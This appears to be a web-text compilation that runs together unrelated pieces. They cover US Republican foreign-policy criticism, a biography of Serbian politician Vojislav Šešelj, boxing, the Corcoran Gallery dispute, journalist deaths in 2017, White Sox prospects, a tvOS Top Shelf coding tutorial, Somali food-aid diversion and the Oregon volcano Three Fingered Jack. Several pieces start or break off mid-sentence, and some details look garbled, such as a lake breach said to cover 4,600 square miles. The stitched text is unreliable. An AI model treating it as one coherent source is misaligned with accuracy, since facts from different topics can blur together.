The Republicans had particularly sharp criticism of Obama’s foreign policy, including his handling of the growing threat of Islamic State terrorists and the administration’s negotiation of a nuclear deal with Iran.
“We are leading from behind under the Obama-Clinton doctrine,” Walker said. “America’s a great country. We need to stand up and start leading again, and we need to have allies — not just in Israel, but throughout the Persian Gulf.”
David Weigel contributed to this report.Vojislav Šešelj (Serbian Cyrillic: Војислав Шешељ, pronounced [ʋǒjislaʋ ʃěʃeʎ]; born 11 October 1954) is a Serbian politician, writer and lawyer. He is the founder and president of the nationalist Serbian Radical Party (SRS). From 1998 to 2000, he was Deputy Prime Minister of Serbia.
He voluntarily surrendered to the International Criminal Tribunal for the former Yugoslavia (ICTY) in February 2003 but his trial did not begin until November 2007.[1] Šešelj's trial was marred with controversy: he went on hunger strike for nearly a month until finally being allowed to represent himself, regularly insulted the judges and court prosecutors once proceedings commenced, disclosed the identities of protected witnesses and was penalized on three occasions for disrespecting the court. He did not call any witnesses in his defense.
After spending 11 years in detention in the United Nations Detention Unit of Scheveningen during his trial, Šešelj was permitted to temporarily return to Serbia in November 2014 to undergo cancer treatment.[2] He led the SRS in the 2016 elections, and his party won 23 seats in the parliament.
On 31 March 2016, he was acquitted in a first-instance verdict on all counts by the ICTY.[3] The acquittal was appealed by prosecutors from the MICT, a United Nations Security Council agency which functions as oversight program of, and successor entity to, the ICTY. On 11 April 2018, the Appeals Chamber partially reversed the first-instance verdict, finding Šešelj guilty of crimes against humanity for his role in instigating the deportation of Croats from Hrtkovci. He was found not guilty on the remaining counts of his indictment, including all the war crimes and crimes against humanity that he was alleged to have committed in Croatia and Bosnia. Šešelj was sentenced to 10 years in prison, but because of time already spent in ICTY custody, he was not obligated to return to prison.
Early life [ edit ]
Vojislav Šešelj was born in Sarajevo, PR Bosnia-Herzegovina, FPR Yugoslavia, to Nikola Šešelj (1925–1978) and Danica Šešelj (née Misita; 1924–2007), ethnic Serbs from the Popovo Valley region of eastern Herzegovina. His parents wed in 1953 before moving to Sarajevo, where they lived on modest means in adapted housing at the old Sarajevo train station as his father was employed in the state-run ŽTP railway company. His mother stayed at home and took care of her two children, Vojislav and his younger sister, Dragica.[4] A relative on his mother's side was Chetnik commander Lt. Col. Veselin Misita.[5]
Education [ edit ]
Šešelj began his elementary education in September 1961 at the Vladimir Nazor Primary School before transferring to the newly built Bratstvo i Jedinstvo primary school. A successful student until the fourth grade, he increasingly grew uninterested with the curriculum, realizing the minimal effort he needed in order to achieve adequate grades. History was his favourite subject and he generally preferred social sciences to natural ones.[4]
For his secondary education, Šešelj enrolled at First Sarajevo Gymnasium, receiving good grades. In the summer of 1971, at age 16, he accepted an offer to join the Communist League (SKJ), which got extended to him and two other youth workers as a result of the exceptional effort shown at a youth work action in Banja Luka, organized in the wake of the 1969 earthquake. He was involved with student organizations in school as the president of the gymnasium's student union and later as the president of its youth committee. Šešelj acted from the platform of communist ideology,[6] as his worldview at the time was largely shaped by the works of Marx, Engels, and Lenin, which theorized on social justice and communist ethics. He also read works by Trotsky and Mao for a time.[7]
Šešelj continued going to youth work actions for summer holidays while at the gymnasium. In 1972 and 1973, he worked as a laborer around the Morava River, building embankments.[8]
Undergraduate [ edit ]
After his second level schooling, Šešelj enrolled at the University of Sarajevo's Faculty of Law in fall 1973. He additionally took part in student bodies becoming a vice-dean counterpart in the student organization for fifteen months. Controversy followed him again as he openly criticized Fuad Muhić, a candidate for dean, publicly proclaiming Muhić unfit to perform the duties of that position.[6] Muhić still got elected to the post. After being a tutor for freshmen, Šešelj became a course demonstrator, holding two sets of tutorials per week, helping professors with student oral exams as well as with conference papers. In 1975, as part of a university delegation, the 21-year-old Šešelj visited the University of Mannheim in West Germany for two weeks, which was his first trip abroad.[9] He completed his four-year undergraduate studies in two years and eight months.[6]
Postgraduate [ edit ]
Immediately after graduating in 1976, Šešelj wanted a job as assistant lecturer at the University of Sarajevo's Faculty of Law, however, no assistant positions were posted at the faculty for the following school year leaving him with nothing to apply for. Šešelj saw the unusual situation as Muhić's personal revenge for Šešelj's public criticism.[10]
Realizing his minimal chances of getting hired at the Faculty of Law in Sarajevo, Šešelj turned his attention to other faculties. While preparing his application for the Faculty of Law in Mostar (at the time organizationally transforming from a remote unit of Sarajevo's law faculty into a separate independent educational entity) where they needed assistants for courses on constitutional law, he learned of an assistant job posting at Sarajevo University's Faculty of Political Science for a course called "Political Parties and Organizations" and decided instead to apply there. He had friends, such as Zdravko Grebo, Rodoljub Marjanović, and Milan Tomić, already working at the faculty as assistants, while Grebo's mother was the faculty's dean.[10]
After learning that the 'Political Parties and Organizations' course was taught by professor Atif Purivatra, a friend and political companion of Muhić, Šešelj withdrew his application, fearing a rejection that would reflect badly on future vocational efforts. Through Grebo's mother, Šešelj learned the faculty was about to establish the Department for People's Defense where many assistants would be needed.[10] A month later, in September 1976, he was hired and began assisting lecturers on "War Theory". He held tutorials relying on classical Marxist literature such as The Civil War in France, The Eighteenth Brumaire of Louis Napoleon, Anti-Dühring, etc., as well as such works by Lenin as The State and Revolution.[10] Šešelj delved deeper into Trotsky's works, as well as reading Isaac Deutscher's books on Trotsky and Stalin.
In parallel, Šešelj began postgraduate studies, enrolling in November 1976 at the University of Belgrade's Faculty of Law. Due to employment obligations in Sarajevo, he didn't move to Belgrade, but instead went there two to three times a month to attend lectures and obtain literature. He earned a master's degree in June 1978 with a masters thesis titled The Marxist Concept of an Armed People.[citation needed]
In 1978, he spent two and a half months at the Grand Valley State Colleges in the US in its exchange program with the University of Sarajevo.[11] Šešelj taught political science at the University of Michigan in the same year.
Also in 1978, after returning from the U.S., Šešelj began pursuing a doctorate at the Belgrade University's Faculty of Law. After submitting his dissertation in early fall 1979, he chose specialization at the University of Greifswald in East Germany.[13] He earned his doctorate on 26 November 1979 after successfully defending his dissertation (doctoral thesis) titled The Political Essence of Militarism and Fascism, which made him the youngest PhD holder in Yugoslavia at 25 years of age.[14]
In December 1979 Šešelj joined the Yugoslav People's Army to serve his mandatory military service and was stationed in Belgrade. He completed his army service in November 1980, but in the meantime he had lost his position at the University of Sarajevo's Faculty of Political Sciences.[citation needed]
Academic career [ edit ]
University of Sarajevo [ edit ]
In the early 1980s, Šešelj began to associate more with individuals from dissident intellectual circles in Belgrade, some of whom had Serbian nationalist political leanings. He repeatedly held Muslim professors at the Faculty of Political Sciences responsible for his situation, openly criticizing his former friend Dr Atif Purivatra, as well as Hasan Sušić, and Omer Ibrahimagić, for having harmed his career and denouncing them as Pan-Islamists.[15] He took his criticism to the literary journal Književna reč, where he further reproached Purivatra, Sušić and Muhamed Filipović for having taken part in an international conference in Madrid that focused on Muammar al-Gaddafi's Green Book. Šešelj described the views expressed in their contributions to the conference as "pan-Islamist".[citation needed]
In September 1981 Šešelj rejoined the Faculty of Political Sciences where he was asked to teach courses on international relations. The Faculty of Political Sciences, as a breeding ground for future politicians, was closely controlled and overseen by the Communist Party, and outspoken Šešelj quickly drew the attention of party officials. He openly supported another prominent young intellectual, Nenad Kecmanović, who was himself embroiled in a controversy that drew criticism from some sections of the communist nomenklatura in Bosnia due to his writings in NIN magazine.[citation needed]
Still, the biggest controversy was raised when Šešelj came up against faculty colleague Brano Miljuš. A protege of Hamdija Pozderac and Branko Mikulić (SR Bosnia-Herzegovina's highest and most powerful political figures at the time), Miljuš was well positioned within the communist apparatus as the secretary of the Bosnia-Herzegovina Communist League's Sarajevo branch. Šešelj dissected Miljuš's master's degree thesis and accused him of plagiarizing more than 40 pages in it from the published works by Marx and Edvard Kardelj.[16][17]
Šešelj criticised the highest political echelons, particularly Pozderac who was the reviewer of Miljuš's master's degree thesis. A power struggle spilled outside the faculty and into the political institutions and corridors of power. Other faculty members and intellectuals to offer their support to Šešelj included Boro Gojković, Džemal Sokolović, Hidajet Repovac, Momir Zeković and Ina Ovadija-Musafija.[6] The Pozderac side was stronger; Šešelj was expelled from the Communist League on 4 December 1981.[18]
By spring 1982, barely six months after being re-hired, his position at the Faculty of Political Sciences was in jeopardy. He ended up being demoted to the Institute for Social Research (Institut za društvena istraživanja), an institution affiliated with the Faculty. Belgrade intellectuals, mostly writers and researchers in the social sciences, came to his defense by writing letters of protest to the government of the Socialist Republic of Bosnia and Herzegovina, to the Central Committee of the League of Communists of Bosnia and Herzegovina, and to the Faculty of Political Science in Sarajevo.
He became critical of the way in which the national question was dealt with in Yugoslavia: he spoke out in favour of the use of force against Kosovo Albanians and denounced the passivity of the Serbian political leadership in handling the Kosovo crisis. In his view the Muslims of Bosnia and Herzegovina were not a nation but a religious |
-0-1, 30 KO) has the WBC belt, which in theory means they're on equal ground. But Alvarez is without question the bigger star and the bigger money man, not because he's done more in his career -- Canelo still doesn't have a win over anyone as good as Miguel Cotto -- but just because, and that's how the cookie crumbles and all that.
Trout and his team have really taken some risks with fights meant to raise his profile and put him into the boxing spotlight, and that's commendable. It's nothing against Alvarez and his team demanding a rematch clause and not giving one the other way; that's just how it's done now. But Trout has in his career traveled to get world title shots, gone to Madison Square Garden to fight Cotto, and now has shown a willingness to, as he puts it, take the short end of the stick to get another really big opportunity. His ambition is very real, and this is the sort of thing you can really only see from a guy who isn't backed by Golden Boy or Top Rank, yet still rarely see it at this level. Trout continues to take risks.
As for the USADA testing, Trout wasn't shy about taking shots at the organization while they were present during his phone interview:
"I've been tested twice and this would be the third. I'm hoping they're testing him and not just destroying results like they've done before. Maybe next time we can get VADA but right now we have to take what we can get with USADA. No offense, guys."
VADA is seemingly the preferred drug testing for everyone except Golden Boy Promotions, which isn't me trying to sound like I know something, because I don't, and I'm no expert on this, but that reeks just a little bit, doesn't it?Corcoran Gallery of Art in Washington. (AP Photo/Kevin Wolf, File)
Last week’s court hearings, which will determine whether the National Gallery of Art and George Washington University will be allowed to shred the deed of William Wilson Corcoran, and lay claim to the gallery’s art, its building and the college of art and design housed therein, recalled a macabre phenomenon from the world of architecture and preservation: demolition by neglect. Advocates of undoing his legacy and dismantling the Corcoran argued in D.C. Superior Court that there are no reasonable alternatives other than to divvy up its assets among the two, larger, better-funded and more successful cultural institutions.
Or: We have let things get so bad, please let us tear it down. The “new” Corcoran–it would exist in name only–would be a farce for anyone who knows what makes the old one meaningful and unique: The museum would cease to be a museum (letting its suitors pocket money earned from selling art); its collection would be given to the National Gallery; and the college would come under the aegis of a real-estate development company which also runs a university not exactly known for its depth or breadth in the creative arts. Technically, a shell of the Corcoran would continue to exist, merely to maintain the Orwellian fiction that the Corcoran hasn’t died, it’s just found new “partners.”
During the hearings, however, much of what has been darkly rumored for years became all too painfully clear: The leadership of the Corcoran has been shamefully negligent, failing to raise funds and neglecting to consider at least two serious alternatives for survival that would have allowed it to remain as is, an independent museum with an organically connected college. They have been bad stewards of one of this region’s oldest and most beloved cultural institutions. And it didn’t have to happen this way.
The Corcoran courted, then rejected efforts by philanthropist Wayne Reynolds to put it on sound financial footing and redefine its mission in a way compatible with the deed yet alert to new possibilities. They also courted, then rejected, the University of Maryland, which offered a more paternalistic relationship, yet also one that would have kept the institution in a form that William Corcoran would recognize, while infusing new funds and administrative energies into its governance.
During all this courting and rejecting, they paid little attention to the basics of annual fundraising. So of course they ended up in dire condition. Now, they argue, they have no other alternatives. But this isn’t last call at a cheap bar. The court turned the lights on, and surprise, there are still willing suitors who promise to respect and nurture the institution in essentially the same form that Corcoran envisioned.
Demolition by neglect is insidious because it allows property owners to evade their responsibilities and then, all too often, rewards them for doing so. The analogy isn’t perfect—developers often profit from this odious tactic, and no one is accusing the Corcoran’s leaders of trying to do that. But it applies to the Corcoran situation in this sense: After allowing the Corcoran to deteriorate, after turning away serious and meaningful offers to keep it alive and independent, the Corcoran board and leadership now want to be given the right to make a final decision about what happens to the remains of the Corcoran.
They do not deserve to make that decision. They have not served the Corcoran well. They have failed in their responsibilities. Rewarding that kind of failure would potentially discourage future Mr. Corcoran’s from endowing similar institutions; and it would encourage mediocre boards to neglect their duties, and put expediency over stewardship.
The demolition by neglect argument is also useful for sorting through the ethical quandary presented by the sale of Corcoran assets (including one of the world’s most sought-after rugs). The use of such funds for anything other than purchase of more art is a powerful and important taboo in the museum world. So the Corcoran’s leaders intend a sleight of hand, they will redefine the museum as no longer a museum, hand over the money, and no taboos will be violated. This is the most cynical casuistry. A property owner who has allowed an historic building to deteriorate should not then be allowed to determine where money made from selling off the lumber, the copper fittings and marble mantlepiece goes. That money should be put in the hands of preservationists, people who intend to do everything possible to save the property.
Luckily, there are still such people ready and willing to help. Neither of the two parties that made reasonable offers to maintain the independence of the Corcoran and the substance of Corcoran’s deed, have been driven away. Reynolds, and the University of Maryland, both affirmed that they are willing to come back to the table, and keep talking. Both parties have demonstrated that the Corcoran leadership’s argument about fundraising—it just can’t be done—is banal and manifestly untrue. There is more than a reasonable expectation that both parties could save the Corcoran in the form that William Corcoran intended.
Judge Robert Okun should give them the chance to do what the Corcoran’s leadership absurdly claims is impossible. There is no need to grant the cy pres petition to break up the Corcoran.Journalists protest against violence during a commemoration of the 30th anniversary of the murder of Mexican journalist Manuel Buendia at the Angel de la Independencia monument in Mexico City
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Paris (AFP)
Sixty-five journalists and media workers were killed worldwide in 2017, according to annual figures published by Reporters Without Borders (RSF) on Tuesday.
Among them were 50 professional reporters, the lowest toll in 14 years. However, the downward trend is due at least in part to journalists giving up working in the world's deadliest spots.
War-torn Syria remains the most dangerous country in the world for journalists, RSF said, with 12 reporters killed, followed by Mexico where 11 were assassinated.
They included Javier Valdez, one of the most prominent chroniclers of Mexico's deadly drug war, whose murder in May sparked a public outcry.
The 50-year-old AFP contributor was shot dead in broad daylight in the street in the violent northwestern state of Sinaloa.
His last book, "Narco-journalism", recounted the tribulations of Mexican reporters who try to cover the country's extremely violent "narcos" drug cartels.
RSF said Mexico was the deadliest country not at war, saying those who "cover political corruption or organised crime are often systemically targeted, threatened and gunned down."
- 'Alarming comments' -
The Philippines has become Asia's most dangerous country for reporters, with at least five journalists being shot in the last year, four of whom died of their injuries.
The rise comes after what RSF called an "alarming comment" by President Rodrigo Duterte who said in May that "just because you're a journalist you are not exempted from assassination if you're a son of a bitch."
No journalists were killed in the country the previous year.
The overall number of professional reporters slain worldwide, however, fell to its lowest number in 14 years, RSF said.
Of the 65 killed, the report said 39 were murdered, while the rest died in the line of duty -- collateral victims of deadly circumstances likes air strikes or suicide bombings.
The group said that the drop in the death rate may be because journalists were now being better trained and protected for war zones.
"The downward trend is also due to journalists abandoning countries that have become too dangerous," it added.
"Countries such as Syria, Iraq, Yemen, and Libya have been haemorrhaging journalists." But the trend is not confined to countries at war, RSF added.
- Turkey jails most journalists -
"Many journalists have either fled abroad or abandoned journalism in Mexico, where the criminal cartels and local politicians have imposed a reign of terror," it said.
Turkey is the world's biggest prison for professional journalists, the figures show, with 42 reporters and one media worker behind bars.
"Criticising the government, working for a'suspect' media outlet, contacting a sensitive source or even just using an encrypted messaging service all constitute grounds for jailing journalists on terrorism charges," the report said.
With 52 languishing in jail, China, however, continues to lead the table when bloggers are taken into account.
RSF accused Beijing of toughening its "arsenal of measures for persecuting journalists and bloggers.
"The government no longer sentences its opponents to death but instead deliberately lets their health deteriorate in prison until they die," it added, referring to the deaths of Nobel laureate Liu Xiaobo and dissident blogger Yang Tongyan, who both died of cancer this year after being diagnosed in prison.
Syria (24), Iran (23) and Vietnam (19) were the other top five jailers of journalists.
© 2017 AFPAfter each month of the minor league season, we name one position player and one pitcher as players of the month on the White Sox farm. Generally, players have to see full-time innings or plate appearances (50 PA or 10 IP minimum), and still be a prospect (not reached MLB rookie status) to qualify. This is a reflection of the best performances by eligible players, which is not necessarily the same as prospect stock.
In this opening month of the season, there were quite a few strong performances at the plate to choose from. The pitching side was a little tougher, with no one starter having a truly dominant month (but a few relievers did). In the end, the winners of this month's awards are both names almost no one would have expected to jump out the way they did.
Note: Stats presented are for April only unless otherwise noted...
HITTER OF THE MONTH: Nick Basto, 1B, Winston-Salem Dash (A+)
Stats:.433/.480/.667 (1.147 OPS), 7 2B, 1 3B, 4 HR, 8:17 BB:K in 100 PA (22 Games)
Basto's offensive performance to begin this year has been huge, even when compared to previous winners of these awards. He led all of minor league baseball (minimum 50 PA) in hits (39), was 2nd in average (.433), and 6th in OBP (.480) with virtually all the few players ahead of him on the latter measures playing substantially fewer games. In the Carolina League he's 1st in AVG, 2nd in OBP (with the leader having about half as many PA), and 2nd in SLG. He reached base safely in every game. And despite the fact that he's repeating the league, he just turned 22 so he's still a little under average age for the level.
Nick was drafted in the 5th round back in 2012 as a shortstop, and since then he's gone from third base to outfield to first base. His lack of defensive home could be an issue later, but if he keeps scorching the ball like he has, the bat will carry him up the ladder. It would be surprising if Basto isn't promoted to AA in the near future, as soon as a slot opens up.
Honorable Mentions
Nick Delmonico:.367/.415/.733 (1.149 OPS), 8 2B, 1 3B, 4 HR, 5:10 BB:K in 66 PA (16 G)
Jason Coats:.364/.417/.561 (.977 OPS), 5 2B, 1 3B, 2 HR, 2:19 BB:K, 1/1 SB/ATT in 73 PA (17 G)
Landon Lassiter:.343/.439/.414 (.853 OPS), 7 2B, 1 3B, 4 HR, 8:17 BB:K, 3/5 SB/ATT in 82 PA (18 G)
Tyler Sullivan:.301/.426/.398 (.823 OPS), 3 2B, 1 3B, 1 HR, 17:15 BB:K, 8/9 SB/ATT in 104 PA (21 G)
The other Nick on this list could make a good case to win the award too, and in any other month he might have. Nick Delmonico arrived with the Barons a few days in, and has done nothing but mash since. He's also been playing mostly 1B, and if trends continue it wouldn't be a surprise he ended up in Charlotte sooner than later. Jason Coats also had a shorter April than others, as he's now on the disabled list with what we're told is a minor injury. Before hitting the DL, Coats was hitting very well, leading some to wonder if he was Chicago-bound should Avisail Garcia's struggles continue.
Tyler Sullivan and Landon Lassiter are not only right next to each other on this list, the are also typically the 1-2 hitters at the top of the Kannapolis lineup. Both have been sparkplugs, getting on base at a well-over.400 OBP clip. Lassiter (like Basto) reached base in every game in April, and Sullivan added 8 stolen bases in 9 attempts. Sullivan's highly-considered defense in center field further adds to his value. Look for both outfielders to find a way up to Advanced-A ball sometime during the season.
PITCHER OF THE MONTH: Taylore Cherry, RHRP, Kannapolis Intimidators (A)
Stats: 1.20 ERA, 0.87 WHIP,.193 BAA, 67% GB, 2 BB, 22 K in 15 IP (8 games)
It would take a combination of thoroughly dominant performance, coupled with a lack of a truly stand-out starter, for a reliever to win this award. And that's what we have. Taylore Cherry missed a ton of bats, threw strikes, and forced the few who made contact to pound the ball into the ground. None of the starting pitchers came close to his rate stats, and only one reliever made a case close to his.
But his performance is truly remarkable when you put it in context. Cherry was drafted last June in the 32nd round, and hadn't pitched in live game action since 2014. The 6'9", 290 pound righty looked painfully stiff in the summer and fall in Arizona, and seemed to be a late round "project". For him to show up in full season ball and put up the numbers he has is a huge surprise, and thoroughly impressive.
Honorable Mentions
Matt Cooper: 3.54 ERA, 1.21 WHIP,.235 BAA, 48% GB, 10 BB, 35 K in 28 IP (5 starts)
Tanner Banks: 2.13 ERA, 0.91 WHIP,.185 BAA, 46% GB, 6 BB, 19 K in 25.1 IP (4 starts)
Brian Clark: 0.68 ERA, 1.12 WHIP,.286 BAA, 49% GB, 1 BB, 13 K in 13.1 IP (7 games)
Tyler Danish: 3.56 ERA, 1.12 WHIP,.243 BAA, 55% GB, 6 BB, 18 K in 30.1 IP (5 starts)
Spencer Adams: 3.46 ERA, 1.50 WHIP,.301 BAA, 58% GB, 5 BB, 23 K in 26 IP (5 starts)
Speaking of pleasant surprises, Matt Cooper may have had the best April of any starting pitcher in the system, at least in peripherals. His move from bullpen to a rotation was surprising in itself, but even our writers who saw something workable from him didn't anticipate him having this kind of success. No starter had a better strikeout rate. Another pleasant surprise was Tanner Banks, who's April was highlighted by a complete-game, 9-inning shutout (the first for the Intimidators in at least a decade). Banks is significantly older than the league average pitcher at 24, but there's no denying his strong performance, especially in keeping hitters from reaching safely. His ERA was the lowest of any starter in the system.
Brian Clark was the other reliever who truly stood out. It's a bit of a mystery why he's not starting again, given his 4-pitch mix and success in that role last year. He's shutting down batters while making the key jump to AA, and he's younger than typical age for that league. Don't be surprised if he slides back into the rotation when one of the current Barons starters goes to Charlotte.
Tyler Danish's presence on this list is pretty amazing when you consider he gave up 6 runs in 4 innings in his first start of the year. But he's improved in each start since, and tossed a full nine innings of 3-hit, shutout baseball in his last start of the month. Danish is still a good couple years younger than most of the hitters he's facing in the Southern League. Spencer Adams is similarly young for his level, and other than a single rough outing on the 22nd, he's been quite effective. Even in that one weaker game, he generated 18 ground balls against 4 fly balls in his 5 innings of work. There's no rush on either Danish or Adams, but both are candidates for mid-season promotions to the next level if they continue to excel.
Want to know right away when we publish a new article? Type your email address in the box and click the "create subscription" button. Our list is completely spam free, and you can opt out at any time.One of the best parts of tvOS is the Top Shelf. It's the bit just above the top row of apps on the home screen that shows previews of each app's content when it's focused (think "Trending Videos", "Recent Photos", etc.).
Today we'll learn how we can provide this same type of functionality in our own apps, by adding a Top Shelf Extension. Let's get started:
We'll add a new target to our app. We'll create a new tvOS > Application Extension > TV Services Extension.
Xcode will generate a ServiceProvider class for us that conforms to the TVTopShelfProvider protocol and provides TVContentItems back to the system.
We'll use.Sectioned for our style so we can provide items like this:
The.Inline style is neat too, but its purpose is only for displaying wide banners like the App Store app.
We'll create a single section item, then set its topShelfItems to an array of items for the things we actually want to display.
var topShelfItems : [ TVContentItem ] { //... shipsSection. title = "Recent Launches" shipsSection. topShelfItems = recentlyLaunchedShips (). map { $0. asTVContentItem ( sectionID ) } //...
We can use TVContentItem's properties to customize/enhance its behavior:
item. title = name item. imageURL = NSURL ( string : "https://spaceshipsapp.com/ships/ \( identifier ).jpg" ) item. imageShape =. HDTV item. displayURL = NSURL ( string : "spaceships://ship/ \( identifier ) " ) item. playURL = NSURL ( string : "spaceships://ship/ \( identifier ) " )
There's actually a lot of features packed into this little class: Simple things like separate deep-link URL for selecting, or pressing the Play button on an item, or more advanced functionality like the currentPosition property, which can help us display the user's "watch progress" on our top shelf items.
Download a fully working example project hereThousands of displaced Somalis rely on food aid from WFP Up to half the food aid in Somalia is diverted to corrupt contractors, local UN workers and Islamist militants, a leaked UN report says. The report, by the UN monitoring group in Somalia, is particularly critical of the UN's own World Food Programme and recommends an independent inquiry. It says WFP contracts are awarded to a few powerful individuals who operate cartels that sell the food illegally. The report has not been made public yet, but its contents have been leaked. US funding cut The UN document says food aid is diverted to a web of distributors, transporters and armed groups, with some local UN workers also taking a cut in the profits, the BBC's Barbara Plett reports from the UN. It blames the problem on the food distribution system in the war-torn country, where transporters have to navigate roadblocks manned by various militias and bandits. Extracts of the report have been quoted by the New York Times and by news agencies. According to the leaks, the report says preliminary investigations by the monitoring group "indicate the existence of a de facto cartel". The report says just three contractors receive the vast majority of WFP transportation contracts, making them "some of the wealthiest and most influential individuals in Somalia", the extracts say. We have to go to the root cause of the problem, which is lack of a supported government
Ahmedou Ould Abdallah, UN special representative for Somalia
Rebels block UN food aid WFP, which provides most of the relief goods, says previous internal investigations have failed to find proof of widespread abuse but that it will examine the new allegations. The UN secretary general's special representative for Somalia, Ahmedou Ould Abdallah, told the BBC he had seen the report, but that he believed the greatest need in Somalia was a stable and internationally supported government. "With a... government we would avoid this loss [of aid], not only of 50% but of 5%," he said. "We have to go to the root cause of the problem, which is [the] lack of a supported government. We have a government - why don't we support it?" Charges that food aid was being diverted first surfaced in 2009. The US has since reduced funding to Somalia, fearing that aid was falling into the hands of the Islamist group al- Shabab. The World Food Programme has also struggled to keep up with food deliveries. Last month, al-Shabab banned the food agency from operating in Somalia. WFP said it had already announced a suspension of its work in the southern part of the country because of attacks and extortion by local militants. The report is due to be officially presented to the UN Security Council on 16 March.
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StumbleUpon What are these? E-mail this to a friend Printable versionFor the outlaw known as Three Fingered Jack, see Jack Dunlop
Three Fingered Jack is a shield volcano of the Cascade Range in the U.S. state of Oregon. Formed during the Pleistocene epoch, the mountain consists mainly of basaltic andesite lava and was heavily glaciated in the past. While other Oregon volcanoes that were heavily glaciated—such as Mount Washington and Mount Thielsen—display eroded volcanic necks, Three Fingered Jack's present summit is a comparatively narrow ridge of loose tephra supported by a dike only 10 feet (3.0 m) thick on a generally north–south axis. Radiating dikes and plugs that support this summit have been exposed by glaciation. The volcano has long been inactive and has been highly eroded.
Diverse flora and fauna can be found surrounding Three Fingered Jack. The area around the volcano was historically inhabited by the Molala people, one of the indigenous groups in the northwestern United States. Not much is known about their culture, other than that the group fished for salmon and collected berries, fruits, obsidian, and dried herbs. The first person of non-indigenous descent to reach the area was David Douglas in 1825, followed by Peter Skene Ogden the following year. The first group to ascend the volcano reached its summit in September 1923. Three Fingered Jack can be still be climbed, but when its face becomes foggy, climbers can become disoriented due to the low visibility conditions of climbing the mountain, requiring rescue.
Geography [ edit ]
Three Fingered Jack lies in the U.S. state of Oregon, in Linn[1] and Jefferson counties.[2] It has a volume of 2.4 cubic miles (10 km3) and a summit elevation of 7,844 feet (2,391 m),[1] with a proximal topographic relief of 1,300 feet (400 m) and a draping relief of 4,600 feet (1,400 m). Its jagged edifice rises between Mount Jefferson and the Three Sisters volcanic complex. Three Fingered Jack lies within the Mount Jefferson Wilderness and is not accessible by paved road, but can be approached by the Pacific Crest Trail. Located about 20 miles (32 km) northwest of the city of Sisters, it acts as a prominent landmark in the area.[1]
The Mount Jefferson Wilderness lies within the Willamette National Forest and Deschutes National Forest. The wilderness area covers 111,177 acres (449.92 km2), with more than 150 lakes. It also has 190 miles (310 km) of trails, including 40 miles (64 km) of the Pacific Crest National Scenic Trail.[7][8] Three Fingered Jack and Mount Jefferson are both prominent features of the wilderness area.[8]
Physical geography [ edit ]
Jack Glacier and the summit lake in summer
During the last major advance of glacial ice in the area during the Wisconsin glaciation, lateral and terminal moraines formed, along with glacial striations, altered vegetation patterns, and lithologies that suggest glacial transport of material. The sole glacier remaining on the volcano is the unofficially-named Jack glacier, located in a shaded cirque on the northeast side. Because the glacier is covered by tall ridges to the south and west, it resides at an unusually low altitude for the central Oregon Cascades. Jack glacier has an area of 2.5 acres (1.0 ha), though historically it has reached estimated areas of up to 32 acres (13 ha). It is likely stagnant. During the Little Ice Age, which spanned roughly 1350 to 1850, the glacier produced moraines with heights close to 200 feet (61 m), which are dotted with 1⁄ 2 to 1 foot (0.15 to 0.30 m) of ash from the Sand Mountain cinder cone chain and 1 foot (0.30 m) of ash from the Blue Lake Crater cinder cone.
As of 1993, the moraine for Jack glacier dammed a lake with a volume of 940,000 cubic feet (26,500 m3), a surface area of 65,900 square feet (6,120 m2), and a maximum depth of 26 feet (8 m). Though this lake did not appear on United States Geological Survey topographic maps made during the 1920s, its presence was documented by a report in 1937. The lake sits precariously; moraines on the volcano are steep, unstable, and populated with boulders. Before September of 1960, there was a partial breach of this moraine-dammed lake that covered an area of 4,600 square miles (12,000 km2) near the moraine's base. Since 1960, there have been at least two incidents in which moraine-dammed lakes on the volcano have caused floods down the slopes. Local soil is thin, and it has been buried by a layer of weathered, Holocene tephra from Three Fingered Jack, which has a maximum thickness of 3.3 feet (1 m).
Ecology [ edit ]
A herd of mountain goats seen on the flank of Three Fingered Jack
Along the volcano and its hiking trails, Douglas fir, Alpine fir, blue spruce, mountain hemlock, and bear grass can be found. The Cascade parsley fern can be found at Three Fingered Jack between elevations of 6,500 to 7,000 feet (2,000 to 2,100 m). There are also mountain goats in the surrounding wilderness area.[18]
Carnivorous animals in the surrounding area include American black bears, coyotes, cougars, red foxes, raccoons, American martens, stoats (also known as ermines), long-tailed weasels, American minks, North American river otters, and bobcats. Deer species include Roosevelt elk, black-tailed deer, and mule deer; insectivores include vagrant shrews, American water shrews, and coast moles. Bats at Jefferson include little brown bats and silver-haired bats, and American pikas and snowshoe hares are also present. Rodents such as yellow-bellied marmots, mountain beavers, yellow-pine chipmunks, Townsend's chipmunks, golden-mantled ground squirrels, western gray squirrels, Douglas squirrels, mountain pocket gophers, North American beavers, deer mice, bushy-tailed woodrats, water voles, Pacific jumping mice, and North American porcupines are present.
Birds nearby include mallards, northern goshawks, sharp-shinned hawks, red-tailed hawks, dusky grouses, grey partridges, killdeers, spotted sandpipers, California gulls, band-tailed pigeons, great horned owls, mountain pygmy owls, common nighthawks, rufous hummingbirds, Northern flickers, pileated woodpeckers, yellow-bellied sapsuckers, hairy woodpeckers, and white-headed woodpeckers. Other bird species found in the area consist of Eurasian three-toed woodpeckers, willow flycatchers, olive-sided flycatchers, tree swallows, gray jays, Steller's jays, common ravens, Clark's nutcrackers, black-capped chickadees, mountain chickadees, chestnut-backed chickadees, red-breasted nuthatches, pygmy nuthatches, Eurasian treecreepers, American dippers, wrens, American robins, varied thrushes, hermit thrushes, Townsend's solitaires, golden-crowned kinglets, ruby-crowned kinglets, water pipits, blue-headed vireos, western tanagers, Cassin's finches, gray-crowned rosy finches, pine siskins, red crossbills, green-tailed towhees, dark-eyed juncos, white-crowned sparrows, golden-crowned sparrows, fox sparrows, and Lincoln's sparrows. Long-toed salamanders, California giant salamanders, rough-skinned newts, tailed frogs, western toads, Pacific tree frogs, northern red-legged frogs, Oregon spotted frogs, pygmy short-horned lizards, common garter snakes, and northwestern garter snakes make up some of the amphibious and reptilian animals in the vicinity. Roughly half the lakes in the Mount Jefferson Wilderness area contain rainbow trout.
Geology and subfeatures [ edit ]
Three Fingered Jack is a shield volcano,[22][23] and it is part of the group of volcanoes known as Oregon's Matterhorns, whose tall, pinnacle spires resemble the Matterhorn in Switzerland. The volcano, along with Mount Thielsen, Mount Bailey, Diamond Peak, and Mount Washington, had a shorter lifespan than larger volcanoes in the Cascade Range, ceasing eruptive activity more than 100,000 years ago. Three Fingered Jack marks the northernmost point for this group. South of Mount Jefferson, the High Cascades of Oregon consist of a broad ridge produced by shield volcano activity and eruptions from cinder cones. Vents range from deeply eroded complexes to recently active volcanoes, with most of the region mantled by normally polarized rock produced within the past 730,000 years.
